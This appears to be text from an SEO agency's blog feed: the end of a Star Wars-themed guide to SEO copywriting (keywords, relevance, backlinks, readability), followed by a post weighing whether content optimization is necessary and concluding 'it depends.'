Headings and Subheadings: Both headings and subheadings give your content structure and scannability – easy for people or search engines to understand the subject matter. Headings are an excellent place for your primary keywords or terms related to it. But don’t overdo it. First and foremost, headings need to be descriptive and informative.

URLs: Web addresses that feature a mass of letters and numbers and characters are an absolute mess. Aside from creating general confusion, they are a pain to copy and paste or easily share. Generate short and relevant URLs with a keyword that best describes the page to which it points.

Content: The most critical factor in using keywords is within your content. Best practices include using your primary keyword early on in your content and then variations of it throughout your text. Make sure it flows naturally within the context of what you write.

SEO copywriting isn’t restricted to the use of words. Don’t ignore images and videos. Both are indexed by Google, which opens up more avenues for your content to connect with users and make it more compelling. 

In each case, make sure the media, including the file name, is relevant to your post. Employ keywords when titling the image and using alt text.

A big no-no when optimizing your SEO is keyword stuffing, which brings us back to “fly casual.” 

Don’t shoehorn keywords where they least fit or don’t make sense.

Everything you produce, from your titles to your URLs to your content, should be created with your user in mind. Yes, it’s critical to integrate keywords in your content, but do it organically. 

Always aim to make things efficient and easy to read and understand for your users. If you create content that people want to consume, engage with, and share, the ranking success with Google is certain to follow.

If you’re not sure what keywords to use in a particular piece, consider using a data-driven Content Optimisation tool like Surfer SEO. It automatically gathers and analyzes numerous data points and then gives you specific recommendations about keywords and phrases that should be included in your piece. Incorporate these keywords naturally throughout your piece for the best SEO results.

2. Relevance 

Keeping with our Star Wars theme, if you type “fly casual” into Google’s search bar, you’ll see some predictable results. Not surprisingly, they favor Star Wars-related topics. 

This is a prime example of how Google and SEO work.

Google aims to return the most relevant results to your inquiry. In Google’s own words, relevance is defined as: 

How closely the elements of your ad campaign match what a person seems to be looking for.

Take this post, for example. This page will never rank high for searches specific to the keyword “fly casual.” Even though we use it a lot, it’s not something with which we’re concerned. Why? 

The term’s relevance ties to Star Wars content, and this post ties to SEO copywriting.

Now, if your business sold Star Wars merchandise and one of your items was a fly casual coffee mug, that is indeed relevant. You’d want content centered around that particular keyword to help raise your product’s profile and, in turn, your site’s relevance.

This drives the point of how vital the right keywords are in crafting good content. Understand what motivates your audience to engage with your brand, then develop the content that pushes those buttons.

3. Authority

The second part of Google’s quality equation is authority. How much weight your website carries in relation to others in your niche.

Perhaps the holy grail of SEO is backlinks. For Google, backlinks from other authoritative sites (inbound links) back to your website are the primary indicator that your site matters.

Along the same lines, the links you include to other sites (outbound links) provide your content substance. It shows you as someone that values the information of others (which Google loves) and that your material is well-researched (which Google really loves).

Additionally, if you’ve produced other content related to what you’re working on, link to it. It will enhance your site’s standing as one with a trove of information. 

Using both types of links gives your content a whole new dimension as an authoritative source for others to consume and use. They’ll want to link back to or share what you produce with others, which raises your profile and your ranking.

In both cases, when you add a link, use anchor text that flows naturally, don’t use the same text or link over and over. Google will penalize you, and users will move on to better content. 

Understanding SEO Copywriting

With the knowledge of what type of content Google favors, let’s join that with what your users want. 

While content that ranks is essential, it also needs to keep users engaged once they get to your site. You want users to spend time reading and clicking and sharing what you create. You want to entice them to take action – leave their contact info, make a comment, buy a product.  

Content creation isn’t just a matter of stringing a few words together. You need copy that is easy to read, flows, and compels them to take action. Here’s how to do it.

1. Subject Matter

It might seem like branding 101, but the type of content you produce must appeal to the audience you are targeting.

Assume you run a blog that focuses on outdoor travel adventures – camping, hiking, mountain biking. The content you produce should appeal directly to that audience.

Features might encompass off-road vehicles, info on state parks, and backpacking abroad. Fans of roughing it amongst nature would also readily consume pieces inclined towards the environment or ways to preserve forests or oceans.

If your aim is broader, then it requires leg work on your part to find that happy medium. 

For instance, is there a segment of adventurers who like hiking and climbing but prefer 4-star hotels and pricey Airbnbs? Identifying that sub-group opens the door to content serving that specific crowd.

Creating the best possible content is as much about figuring out what your brand represents, as knowing to whom it appeals. That knowledge doesn’t just serve your desired audience; it also builds a site that Google will reward as important among your niche.

Another aspect of the content you create is whether or not it’s both valuable and shareable. 

Earlier in the post, we noted that seven out of every ten users do not look at the second page of search results. Certainly, an intimidating stat for some, but you can overcome it while strengthening your overall ranking (and brand).

Regardless of who you produce content for, research what your desired audience wants. What problems or questions do they have and what solutions can you provide? Chances are they know people seeking similar answers.

Understanding pain points not only helps you identify keywords but focuses you on producing appealing content. Content that doesn’t just sell your brand or a product, but engages your audience with solutions. 

This provides you the pathway to generating posts that compel your users to take action – join an email list, download a video, make a purchase.

If that content proves valuable, your core audience will share it with others. Inevitably, this increases your number of views, pumping up those traffic numbers. The more traffic, the greater your relevance and authority, and the higher your Google rank.

In addition to excellent blog posts and high-quality images or videos, additional share-worthy content includes guides, how-tos or FAQs, infographics, ebooks, and white papers.

Make sure to include social media share buttons that are visible on not just your main pages, but every post as well. It’s beneficial to self-promote your content on social media yourself. Turn favorite portions of your content (or again, most relevant) into Tweets or Snaps or Instagram or Facebook posts.

2. Less is More

Don’t use seven words when four will do. Or don’t use 15 when you can get by with 10. Whatever the ratio, you’ve heard this writing rule before – cut the fluff, trim the fat, less is more.

Let’s look at an example using the opening line of this post:

In the 1983 film Return of the Jedi, Han Solo and crew attempt to infiltrate the Empire in a stolen Imperial ship. 

Twenty-two words. A bit above average sentence length of 15 to 20 words. But it efficiently conveys a lot of information. Consider this alternative, verbal stew:

In the 1983 Star Wars film The Return of the Jedi, Han Solo, Luke Skywalker, Princess Leah, and Chewbacca attempt to infiltrate the evil Empire on the Forest Moon of Endor moon using a stolen code and stolen Imperial ship.

Wow. 

Forty words, and it’s a mouthful. It’s also a person’s first inclination when they write – cram as much info as they can into every sentence.

That might work if you’re writing a novel, but writing for the internet is different.

Whatever your online presence is, when a user visits, they’re looking for information. They want to find it as fast as possible. If they can’t, they’ll head to a site that gives them what they want. 

Adopting the 7-4 rule keeps your copy snappy, and easy to read and understand. The first sentence said the same thing as the second with 18 fewer words. The faster someone connects with your content, the quicker you’ll get them to achieve the goal you want.

3. Keep it Moving

Unfortunately for your middle school English teacher, keep it moving means throwing a lot of what they taught you out the window.

First up, is readability. The average adult reads between a 6th and 8th-grade level. For comparison, the Harry Potter novels are written at 8th-grade readability.

To achieve that level, use plain language and short sentences. Apply the 7-4 rule to your word choices. Super and supercalifragilisticexpialidocious mean the same thing, but only one doesn’t require mental gymnastics to read.

Next, consider that much of your content is consumed on mobile devices. 

Bite-size paragraphs are easier to read and absorb on small screens than massive walls of text. Toss aside long-held paragraph structure rules – aim for three-line paragraphs whenever possible.

If you want to make a strong point, give it its own paragraph, like this.

You want the text to glide across a screen. White space is your friend. Create a more enjoyable reading experience, not just with the words you use, but also the structure you place them in.

Last, keep your copy flowing by assuming your audience is smart. Let’s look again at the example highlighted in the 7-4 rule section:

In the 1983 film Return of the Jedi, Han Solo and crew attempt to infiltrate the Empire in a stolen Imperial ship.

or

In the 1983 Star Wars film The Return of the Jedi, Han Solo, Luke Skywalker, Princess Leah, and Chewbacca attempt to infiltrate the evil Empire on the Forest Moon of Endor moon using a stolen code and stolen ship.

Feel the difference? 

Star Wars is a universally accepted piece of pop culture. 

Even people who’ve never seen it know Return of the Jedi is a Star Wars film. 

They understand that Luke, Leah, Han, and Chewbacca are a package deal. They also know the Empire is evil. The extra moon and code details are unnecessary in the given context.

Audiences love content creators who don’t insult their intelligence. It makes them feel valued and far more willing to engage with and share your ideas.

A final point – none of the above means to dumb down your content. Far from it. What you should do is to convey your message in its simplest form, so the widest possible audience reads it. 

Final Thoughts

It might seem daunting, but SEO copywriting is as straightforward as the internet gets. Its a matter of doing what comes naturally. 

Don’t overthink your content and don’t try to stuff it with more than what’s necessary. Focus on what’s important to your users, and Google will reward the effort. 

Even if you’re casually trying to infiltrate the Empire.

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]]> https://tothetop.agency/how-to-seo-optimize-content-for-google-and-users/feed/ 0 A Debate On The Need For Content Optimization https://tothetop.agency/content-optimization-debate/ https://tothetop.agency/content-optimization-debate/#respond Thu, 05 Mar 2020 10:49:17 +0000 https://tothetop.agency/?p=1577 Hi! This is the first of many blog posts regarding SEO. The world of SEO is extremely complicated and continuously evolving. Just when you think you’ve managed to unlock the key to SEO, the algorithm changes and you’re back to square one. It is a constant never-ending battle between man and AI. Having said that, …

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]]> Hi! This is the first of many blog posts regarding SEO. The world of SEO is extremely complicated and continuously evolving. Just when you think you’ve managed to unlock the key to SEO, the algorithm changes and you’re back to square one.

It is a constant never-ending battle between man and AI. Having said that, it wouldn’t hurt to know as much as you can with SEO. Together, let us debunk SEO myths, debate the newest trends in the SEO industry, and experiment on new SEO strategies.

  • Content Creation
  • Content Optimization
  • Content Promotion.

According to SEO Experts, these are the three important steps that you need to perfect to have a properly running SEO-optimized website. For years, this was considered the norm, the guidelines of SEO.

However, there seems to be a new trend that’s making waves among the field. An SEO Expert is now claiming that a website, despite not being SEO-optimized with “conventional” means can rank highly in Search Engine Results Pages (SERPs). This is clearly a hot take that, if proven right, could render an entire part of the industry obsolete.

Campaign Monitor defines Content Optimization as:

Content optimization is the process of making sure content is written in a way that it can reach the largest possible target audience. The process of optimizing content should include making sure associated keywords are present, adding meta and title tags, and relevant links. You should also optimize headlines for increased CTRs and visual images for increased user engagement.

To say that this is an unnecessary process would render a huge part of the SEO industry obsolete. Not to mention, this would save businesses and digital marketers a lot of money and time.

Below, I have created a comprehensive take on the question, “Do I Need To SEO Optimize My Content?” Statista reports that as of January 2020, there were 4.54 Billion Unique Active Online Users. By choosing not to pursue properly optimized content, experts claim that the website is basically isolating itself from the entire digital population.

However, is this truly the case? Or will Google rank you just for producing high-quality content?

There will be three parts to this resource. The first one would be a pro-Content Optimization stance. The second one is the belief that Content Optimization is unnecessary. And lastly, my personal take.

Without further ado, let’s delve into the business of things.

“Content Optimization Is A Must!”

It’s best to comprehensively discuss first the advantages, disadvantages, and the step-by-step process of Content Optimization. This is so you too can form your own thoughts about the issue.

Advantages of Content Optimization

Digital Marketers, when asked how important a process is, would always cite the benefits and let their clients decide as to whether the pros outweigh the cons. Appearing on the top results of search engine results pages (SERPs) is crucial to generating online traffic. It would be extremely challenging for your website to gain visitors if it does not show up on search engine results pages (SERPs). 72% of marketers report that after content marketing, the engagement to their website increased.

Here are the commonly cited benefits of content optimization:

  • Generates Online Traffic
  • Increases Brand Visibility
  • Establishes And Fosters A Positive Relationship Between Business And Client
  • Improves Customer Loyalty & Trust
  • Builds The Brand As An Authority Figure Of The Industry
  • Higher Conversion Rate
  • Value-Adding To Your Website

Disadvantages of Content Optimization

Unfortunately, no process is without fault. Optimizing your content will require a lot of time and effort. If it’s truly an unnecessary process, then it would be better to allocate such resources on other business operations. Here are the roadblocks that you may experience when dealing with content optimization.

  • Time-consuming
  • Expensive
  • Requires A Lot Of Manpower
  • You Need A Team Of Talented Content Writers, SEO Specialists, etc.
  • Hard To Understand

Perhaps, the biggest disadvantage of Content Optimization is that brands are now writing for the search engines instead of their audience. This sets up a three-fold problem. When brands write for the Search Engines, the quality suffers as quantity becomes their main priority.

According to SEO experts, relevant keywords must appear in the content as much as possible. Keywords are then forcibly stuffed into the content in order to trick search engines to rank the page higher. The writing quality then suffers as content writers are tasked to increase keyword volume even at the expense of  the primary tenets of writing i.e. grammar, diction and syntax.

At the same time, relevancy also becomes an issue. You can now see a lot of websites whose content is painfully stuffed with keywords, despite being irrelevant to their specific industry and niche.

Step-by-Step Process of Content Optimization

It is necessary that we also touch on the steps of Content Optimization so that we can have a clear view of the process and how it can lead to unnecessary work. There are multiple ways to do Content Optimization.

What I’ll be discussing is personally one of the best and easiest ways to do it without having to shell out any money on complicated tools and software. It is quite easy for starting content writers to follow and yet it has proven to be effective.

  1. Use an SEO tool (i.e. SEORulerSuggest, UberSuggest) to get keyword ideas.

The keyword ideas that you get can provide you with topics that you can write about for your blog.

  1. Decide on the topic from the list of keywords that you get. You may also use the “People Also Ask” section to get any FAQs about the industry that you can answer.
  2. Copy the keywords and use SOME of them in the article.

Avoid Keyword stuffing or the unnecessary addition of keywords into articles just for ranking high in Google.

  1. Copy the content of your article and test them with Google’s FREE NLP API test page.
  2. Choose any relevant entities and add them to your article.

Take note of any opportunities for internal linking inside your article.

“Content Optimization Is Unnecessary!”

Dave Glick, a well-known SEO expert and the owner of G6 Web Services, just published an article about an experiment that he did. His hypothesis was that content optimization on blogs is not exactly as necessary as everyone makes it appear to be.

Every day for two years, since January 25, 2018, Dave has committed himself to write one blog post. His blogging journey has led him to land at the conclusion that you do not need to exert SEO efforts on your blog for it to rank high in SERPs. He urges that everyone invest their time and resources on improving the quality of writing instead.

Here, I have summarized his 5 tips on how content writing should be done. You can read the entire article here.

  1. Don’t Worry About SEO
  2. Link Building Is Optional
  3. Write Things That Help People
  4. Length Does Not Matter
  5. Play The Long Game

This hot take has stirred up a lot of SEO experts. While many are shocked and slightly offended at this claim, the majority actually saw the logic in Dave’s experiment. His results also speak for itself. That doesn’t mean other things such as link building aren’t relevant. For example, we work with other agencies like this one and have seen the benefit of collaborating with others in our industry.

To The Top’s take: “It Depends.”

From these two extreme beliefs, we were able to form our own take. And that is to stay in the middle. No, it’s not because we’re trying to play safe. It’s just that we see the logic between the two.

Content Optimization and SEO helps you get noticed by Search engines, allowing your site to appear on SERPs, thus vastly improving your online traffic. However, this costs a lot of time and resources.

On the other hand, Dave Glick’s way asks you to play the long game. And while it may not seem as expensive, the time spent and the opportunities lost may say otherwise.

We believe that both must be done to improve your ranking. You exert a little bit of effort towards keyword research but not so much that it takes a lot of your time. Likewise, you incorporate them into a well-written article. The problem that we see with these two extreme views is that they constantly play tug-of-war as to who will get the lion’s share of the resources.

Gone are the days when keyword stuffing is an effective practice. For example, if you wanted to rank for the primary keyword “SEO Agency London”, all a website has to do is to spam their website with “SEO Agency London” 100 times. The search engine algorithm soon caught on and keyword stuffing became grounds for penalty.

Overstuffing the proverbial turkey, that is your website, will incur strict sanctions from Google, as with other SEO strategies deemed unethical.

To create the list of results for the search engine page, Google uses a complicated algorithm with over 200 known ranking factors. There is a high probability that it could be higher.

It is important that we try to follow the aforementioned Google’s set of guidelines for them to index our websites in SERPs. However, the user experience should still be the first priority of every company. Keep in mind that conversion is still the main goal of your website. If your online visitors find your website’s content to be of poor quality, irrelevant or even appear spammy, the chances of them trusting you as a brand and converting into a customer becomes slim.

We, at To The Top, believe in exerting efforts for both digital marketing strategies. You spend resources both for Content Optimization while also making sure that all published content is of high quality.

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